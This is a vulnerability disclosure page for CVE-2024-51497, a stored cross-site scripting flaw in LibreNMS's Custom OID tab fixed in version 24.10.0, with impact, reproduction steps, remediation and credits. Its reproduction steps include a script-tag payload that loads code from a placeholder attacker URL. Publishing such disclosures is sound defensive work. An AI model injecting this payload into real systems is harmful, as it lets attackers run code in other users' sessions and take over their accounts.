Disclosed vulnerabilities
Fixed: Nov 5, 2024
CVE-2024-51497 Published: Nov 14, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Custom OID” tab of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the unit parameter when creating a new OID. The payload executes in the “Unit” column of the Custom OID table, potentially compromising other users’ sessions.

Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/print-customoid.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Create a new OID for a device using the following payload in the Unit field:

    <script/src=//<attacker-url>></script>

  3. Save the OID.

  4. Navigate to the Custom OID tab of the device.

  5. Observe that the external script from //<attacker-url> loads and executes in the “Unit” column.

Expected result:

The external script hosted at //<attacker-url> executes in the “Unit” column of the Custom OID table, demonstrating arbitrary JavaScript execution in the victim’s session.

Remediation

Fixed in LibreNMS 24.10.0 by HTML-encoding and escaping the unit parameter in print-customoid.php, preventing unsanitized input from being rendered.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-gv4m-f6fx-859x
  2. Fix commit
  3. NVD entry for CVE-2024-51497

Stay connected and never miss a research update!